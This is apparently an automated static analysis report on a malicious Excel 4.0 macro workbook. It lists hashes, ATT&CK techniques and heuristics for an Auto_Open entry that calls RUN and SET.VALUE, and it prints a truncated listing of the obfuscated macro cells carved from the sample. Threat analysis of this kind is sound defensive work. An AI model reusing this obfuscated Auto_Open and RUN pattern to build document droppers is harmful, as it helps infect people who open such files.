Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 26130dc3b9d92a5e…

MALICIOUS

Office (OLE)

171.5 KB Created: 2020-05-13 12:30:40 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 6ad8c31e984aa425e40c4f7b4fc95427 SHA-1: fdcb05cc020ac9f3c3fd22f1c2fa334087b5ec71 SHA-256: 26130dc3b9d92a5e5e49b6e4b93bb14666403d3e3342d6e0ed4d3eb65fa58a99
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is configured to execute dangerous formula APIs, specifically RUN and SET.VALUE. The RUN function is likely used to execute a downloaded payload, and the SET.VALUE function is used to manipulate cell values, potentially for obfuscation or further execution. The presence of these dangerous functions and the Auto_Open entry strongly suggests a malicious intent to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 129447 bytes
SHA-256: 59a54c31f40628872d65f52240bbf4fbdb2733f64925b5e369d2355b84b6047d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!P22099 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,GQ19,"",-284.00000000000000000000
'  Sheet,IO21,"",-250.00000000000000000000
'  Sheet,A32,"",-336.00000000000000000000
'  Sheet,BL65,"",441.00000000000000000000
'  Sheet,JC76,"",493.00000000000000000000
'  Sheet,BK79,"",-0.17286245353159851446
'  Sheet,CZ97,"",0.10396039603960395559
'  Sheet,FW106,"",835.00000000000000000000
'  Sheet,FZ151,"",-3.64814814814814836197
'  Sheet,JP175,"",222.00000000000000000000
'  Sheet,O178,"",-386.00000000000000000000
'  Sheet,DI240,"",188.00000000000000000000
'  Sheet,DK270,"",467.00000000000000000000
'  Sheet,GA285,"",-435.00000000000000000000
'  Sheet,F343,"",223.00000000000000000000
'  Sheet,GJ346,"",4.32592592592592595224
'  Sheet,FB474,"",-117.10007812499999602096
'  Sheet,CR560,"",0.32103321033210330260
'  Sheet,HV580,"",-0.13011152416356877581
'  Sheet,HM601,"",531.00000000000000000000
'  Sheet,FK746,"",-8.20833333333333392545
'  Sheet,JL780,"",-12.22727272727272662678
'  Sheet,IK793,"SET.VALUE(IK15853,-488.00000000000000000000-GET.CELL(8,HU28878)*10)",""
'  Sheet,IK794,RUN(DZ13813),""
'  Sheet,O842,"",-654.00000000000000000000
'  Sheet,HP860,"",-118.00000000000000000000
'  Sheet,BN898,"",0.11538461538461539102
'  Sheet,DH945,"",-100.50000000000000000000
'  Sheet,CD991,"",0.51541850220264318061
'  Sheet,EK1053,"",-173.00000000000000000000
'  Sheet,CT1056,"",-63.00000000000000000000
'  Sheet,DQ1068,"",-222.00000000000000000000
'  Sheet,BQ1119,"",120.00000000000000000000
'  Sheet,DO1167,"",-0.05354645354645354988
'  Sheet,HH1170,"",384.00000000000000000000
'  Sheet,GJ1182,"",0.19096509240246406502
'  Sheet,GF1217,"",522.00000000000000000000
'  Sheet,DH1227,"",0.16837782340862422759
'  Sheet,IQ1358,"",-159.00000000000000000000
'  Sheet,BK1373,"",506.00000000000000000000
'  Sheet,EU1411,"",484.00000000000000000000
'  Sheet,CH1451,"",-655.00000000000000000000
'  Sheet,IY1465,"",-0.35000030517578123446
'  Sheet,GE1518,"",-0.06319702602230482802
'  Sheet,DP1550,"",172.00000000000000000000
'  Sheet,EA1563,"",-10.97959183673469318876
'  Sheet,EL1692,"",-3.75238095238095237249
'  Sheet,IO1726,"",7.26865671641791077917
'  Sheet,GH1769,"",-157.00000000000000000000
'  Sheet,CJ1778,"",293.00000000000000000000
'  Sheet,FS1821,"",431.00000000000000000000
'  Sheet,HK1826,"",0.09545454545454545858
'  Sheet,CF1847,"",-871.00000000000000000000
'  Sheet,BR1887,"",-103.12500000000000000000
'  Sheet,HP1920,"",-8.38297872340425520576
'  Sheet,BA1958,"",8.36000488281250042633
'  Sheet,DG2041,"",-0.22000015258789062944
'  Sheet,GP2069,"",-58.00000000000000000000
'  Sheet,FK2200,"",-34.12500000000000000000
'  Sheet,CP2264,"",-0.20304568527918781529
'  Sheet,JN2279,"",0.10266940451745379392
'  Sheet,CC2307,"",22.82926829268292578945
'  Sheet,DX2330,"",-476.00000000000000000000
'  Sheet,DF2357,"",-2.50000000000000000000
'  Sheet,DF2364,"",-133.00000000000000000000
'  Sheet,GR2387,"",501.00000000000000000000
'  Sheet,EX2498,"",-177.00000000000000000000
'  Sheet,IW2502,"",0.49577464788732394929
'  Sheet,CH2580,"",0.19383259911894273886
'  Sheet,DO2597,"",-6.81012658227848088899
'  Sheet,CQ2600,"",-2.11111111111111116045
'  Sheet,FT2650,"",646.00000000000000000000
'  Sheet,BU2660,"",-563.00000000000000000000
'  Sheet,JN2694,"",0.10576923076923076816
'  Sheet,FR2714,"",0.24634146341463414309
'  Sheet,R2730,"",-314.00000000000000000000
'  Sheet,GA2772,"",308.00000000000000000000
'  Sheet,HN2773,"",828.00000000000000000000
'  Sheet,DT2794,"",-902.00000000000000000000
'  Sheet,DH2852,"",-0.07272727272727272374
'  Sheet,D2907,"",0.13347022587268994598
'  Sheet,IX2931,"",-0.12878787878787878451
'  Sheet,DU2938,"",6.49333333333333
... (truncated)